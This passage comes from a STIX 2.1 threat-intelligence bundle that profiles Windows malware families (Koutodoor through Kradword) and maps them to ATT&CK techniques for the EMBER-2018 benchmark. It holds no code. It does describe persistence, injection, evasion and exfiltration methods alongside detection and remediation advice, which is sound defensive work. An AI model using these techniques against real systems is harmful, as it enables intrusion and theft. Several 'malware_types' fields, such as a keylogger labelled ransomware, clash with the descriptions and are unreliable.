      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Korplug exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff24c5d8-2dda-5712-b93f-53bb3fb47d94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0511921-985c-56e5-9e65-3d62419114e0",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Korplug exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--780712f2-8737-5682-b0d6-488be16a47da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0511921-985c-56e5-9e65-3d62419114e0",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Korplug exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1ff2f63-993a-5d44-8cbe-a694da46ceb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c0511921-985c-56e5-9e65-3d62419114e0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Korplug exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0b119af3-f01e-5862-8ddf-830ca67e8ba5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Koutodoor",
      "description": "Backdoor:Win32/Koutodoor is a persistent, stealthy backdoor designed to breach endpoint defenses, establish a long-term foothold, and allow remote threat actors unauthorized access to the compromised machine. Once installed, it acts as a quiet listening post, awaiting commands to execute secondary payloads, exfiltrate data, or facilitate lateral movement.<br><br><b>Understanding Koutodoor</b><br>To an end-user, a Koutodoor infection is completely invisible; there are no pop-ups or signs of infection. For threat intelligence analysts, Koutodoor is a critical incident. It means an attacker has successfully bypassed perimeter defenses and now holds persistent, administrative control over the endpoint. Koutodoor is often deployed as a secondary payload by an initial access broker, or manually installed by an attacker after exploiting a vulnerability.<br><br><b>Execution and Remote Control Mechanics</b><br>Koutodoor utilizes heavy obfuscation to evade static antivirus detection (`T1027`). Upon execution, it drops a copy of itself (often randomly named or masquerading as a legitimate system file) into a hidden directory (like `%AppData%` or `C:\\ProgramData`). It establishes robust persistence by creating a hidden Scheduled Task (`T1053.005`) or modifying the Registry Run keys (`T1547.001`). To mask its network traffic, Koutodoor frequently injects its core backdoor logic into a legitimate system process (like `svchost.exe` or `explorer.exe`) (`T1055`). It then opens a covert C2 channel (often encrypted HTTPS or custom TCP) to its controller (`T1071.001`). Through this channel, the attacker can execute arbitrary commands (`T1059`), download further malware (like ransomware), or steal sensitive files.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Network Traffic from System Processes'. Network logs will often reveal the injected process maintaining long-standing, beaconing connections to unknown external IPs. The presence of unexpected, hidden scheduled tasks designed to execute unsigned binaries is a strong IoC. (Observed samples in benchmark: 11)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Koutodoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/koutodoor"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f37a02f1-a563-5e0b-bba9-cc40d8ddea42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b119af3-f01e-5862-8ddf-830ca67e8ba5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koutodoor exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc940f6e-5482-5b39-9d8f-e3811f06be19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b119af3-f01e-5862-8ddf-830ca67e8ba5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koutodoor exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f528402-0fa5-5255-ab35-0e54bb8474c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b119af3-f01e-5862-8ddf-830ca67e8ba5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koutodoor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c29bcb9-62a1-50fb-ae5f-bd979ee8d140",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b119af3-f01e-5862-8ddf-830ca67e8ba5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koutodoor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f65fae9-2e18-520f-9332-3afe03dcaa4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0b119af3-f01e-5862-8ddf-830ca67e8ba5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Koutodoor exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--146b13a5-373a-501e-8bae-f86a8e6f54db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kovloer",
      "description": "Trojan:Win32/Kovloer is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Kovloer</b><br>To an end-user, a Kovloer infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Kovloer is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Kovloer is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Kovloer frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Kovloer reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kovloer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kovloer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f646347e-af00-5265-b6ec-fec1950f99bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--146b13a5-373a-501e-8bae-f86a8e6f54db",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovloer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c294b32f-2f84-5f2f-8a87-384bcce6f67a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--146b13a5-373a-501e-8bae-f86a8e6f54db",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovloer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--017fdf69-4f4f-5d8e-9df7-3dbf14aea69a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--146b13a5-373a-501e-8bae-f86a8e6f54db",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovloer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e780b13-706a-5dd4-bdf8-1521d2c60d26",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--146b13a5-373a-501e-8bae-f86a8e6f54db",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovloer exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0783a390-4930-5be1-a6b9-e63d5da16da8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--146b13a5-373a-501e-8bae-f86a8e6f54db",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovloer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8babed5c-cedb-5960-85e0-3774defbec31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kovter",
      "description": "Kovter is an extraordinarily evasive, polymorphic malware strain first detected in 2013. Initially engineered as a screen-locking police-impersonation ransomware, Kovter underwent a radical architectural evolution in 2014-2015, transitioning into a stealthy ad-fraud engine that pioneered 'fileless' registry-resident persistence on Microsoft Windows systems.\n\nKovter achieves complete fileless execution by storing its primary encrypted payload directly within randomly named or unprintable binary registry keys. It establishes persistence via shell spawning shortcuts or registry Run keys that invoke mshta.exe or rundll32.exe, which in turn launch obfuscated PowerShell commands that decode shellcode straight into system RAM. In November 2018, the United States Department of Justice (Eastern District of New York) unsealed major indictments against Russian cybercriminals tied to the 3ve and Methbot botnet rings, confirming Kovter's central role in compromising over 1.7 million computers to generate tens of millions of dollars in fraudulent ad revenue. (Observed samples in benchmark: 2,414)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Kovter",
        "Trojan.Kovter",
        "Win32/Kovter",
        "Kovter Clicker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kovter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kovter"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49732f28-f95f-573e-98f6-01735170b264",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8babed5c-cedb-5960-85e0-3774defbec31",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovter exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9c4f335-9ef0-5022-a420-2c17ffe5d7e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8babed5c-cedb-5960-85e0-3774defbec31",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovter exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10acaa85-c038-58fd-92dc-26a9674f7969",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8babed5c-cedb-5960-85e0-3774defbec31",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovter exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c9dbcff-5677-571e-8678-97ef0b2150cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8babed5c-cedb-5960-85e0-3774defbec31",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovter exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6caf6c22-9120-5431-9b14-2ff4ca5cb396",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8babed5c-cedb-5960-85e0-3774defbec31",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovter exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfff5220-5a99-5195-81b9-e93758c32cd5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8babed5c-cedb-5960-85e0-3774defbec31",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kovter exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c4e1c07f-1ddf-5602-977b-f2ab24282cd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Krachulka",
      "description": "<h3>Executive Summary</h3>\nKrachulka is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKrachulka is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Krachulka operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Krachulka ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Krachulka receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Krachulka infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Krachulka executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Krachulka frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Krachulka",
        "Downloader.Krachulka",
        "Win32/Krachulka"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Krachulka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/krachulka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da2b3194-602a-5593-9a75-db045bce8d89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4e1c07f-1ddf-5602-977b-f2ab24282cd1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krachulka exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a05c97f-cfc2-5054-a1c4-8d42b6341ed6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4e1c07f-1ddf-5602-977b-f2ab24282cd1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krachulka exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e21e05c9-dcbb-54e5-8aa7-207af52381ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c4e1c07f-1ddf-5602-977b-f2ab24282cd1",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Krachulka exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--90d96dbc-461d-5140-ba90-3a0103f84bea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kraddare",
      "description": "Kraddare (classified as Ransom:Win32/Kraddare across Microsoft Defender, Kaspersky, and Trend Micro) is an enterprise crypto-ransomware family designed for rapid data extortion. Distributed via phishing attachments and malicious drive-by downloads, Kraddare terminates active database processes and email servers to avoid file-locking conflicts. It executes a multi-threaded encryption routine that leverages AES-256 in CBC mode, prepending unique file headers and renaming encrypted files with the .kraddare extension. Kraddare leaves ransom notes titled RESTORE_KRADDARE_FILES.html on the desktop and within every processed directory, demanding cryptocurrency payment for file restoration while wiping Volume Shadow Copies and system restore points. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Kraddare",
        "Trojan-Ransom.Win32.Kraddare",
        "Win32/Kraddare",
        "Kraddare Ransomware",
        "Ransom.Kraddare"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kraddare",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kraddare"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9ccf5af-593d-5095-95ab-95cdc874cef6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90d96dbc-461d-5140-ba90-3a0103f84bea",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraddare exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94c01ba9-fc43-5ac2-a97b-a71d721c4f7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90d96dbc-461d-5140-ba90-3a0103f84bea",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraddare exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2cc4e676-1a87-547b-b2e8-196b60770d14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90d96dbc-461d-5140-ba90-3a0103f84bea",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraddare exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59417867-6fba-5a4a-8f6a-df5113e059f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90d96dbc-461d-5140-ba90-3a0103f84bea",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraddare exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97054f57-d6e0-530a-91ad-c50939fdbb57",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--90d96dbc-461d-5140-ba90-3a0103f84bea",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kraddare exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a142f128-7545-5b28-bfc9-46490e6524c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Kradword",
      "description": "<h3>Executive Summary</h3>\nKradword is a malicious Trojan specifically engineered to function as an Information Stealer and Keylogger. Unlike broad-spectrum botnet malware, Kradword is a targeted surveillance tool. Its primary objective is to silently monitor user activity, record keystrokes, and exfiltrate sensitive data\u2014specifically targeting login credentials, financial information, and proprietary communications.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nKradword is typically distributed via targeted spear-phishing campaigns (business email compromise) containing weaponized attachments, or it is dropped as a secondary payload by an initial access broker who has already compromised the network perimeter.\n\nOnce executed, Kradword employs stealthy data harvesting techniques:\n<ul>\n<li><strong>API Hooking and Keylogging:</strong> Kradword utilizes Windows API hooking (specifically `SetWindowsHookEx`) to intercept hardware interrupts from the keyboard. It records every keystroke made by the user, storing them in hidden, encrypted log files on the local system.</li>\n<li><strong>Clipboard Monitoring:</strong> The trojan actively monitors the Windows clipboard, instantly capturing any data (like copied passwords or cryptocurrency wallet addresses) that the user copies and pastes.</li>\n<li><strong>Browser Data Extraction:</strong> It targets the credential stores of major web browsers (Chrome, Firefox) to extract saved passwords, autocomplete form data, and active session cookies.</li>\n<li><strong>Data Exfiltration:</strong> The collected data logs are periodically compressed, encrypted, and exfiltrated to the attacker's Command and Control (C2) server via SMTP (email), FTP, or HTTP POST requests.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Kradword infection is a critical security incident. The immediate risk is the catastrophic compromise of user credentials. Stolen corporate VPN or RDP credentials provide the attacker with direct, authenticated access to the internal network, bypassing external firewalls and often leading to severe data breaches or ransomware deployment.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Severance:</strong> Isolate the compromised endpoint immediately to halt the ongoing exfiltration of keylogs and stolen credentials.</li>\n<li><strong>Global Credential Reset:</strong> It must be assumed that every password entered or stored on the infected machine is in the hands of the attacker. A mandatory, immediate reset of all associated enterprise and personal passwords is required.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the deep API hooking techniques used by keyloggers, attempting to \"clean\" the machine is insufficient. A complete bare-metal wipe and re-image from a trusted baseline is necessary.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Kradword",
        "Keylogger.Kradword",
        "Win32/Spy.Kradword"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Kradword",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/kradword"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e974c2d-8805-582d-a5f7-172c7761cae8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a142f128-7545-5b28-bfc9-46490e6524c1",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Kradword exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--173c922f-4488-5745-b45c-39536fe0c70f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a142f128-7545-5b28-bfc9-46490e6524c1",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
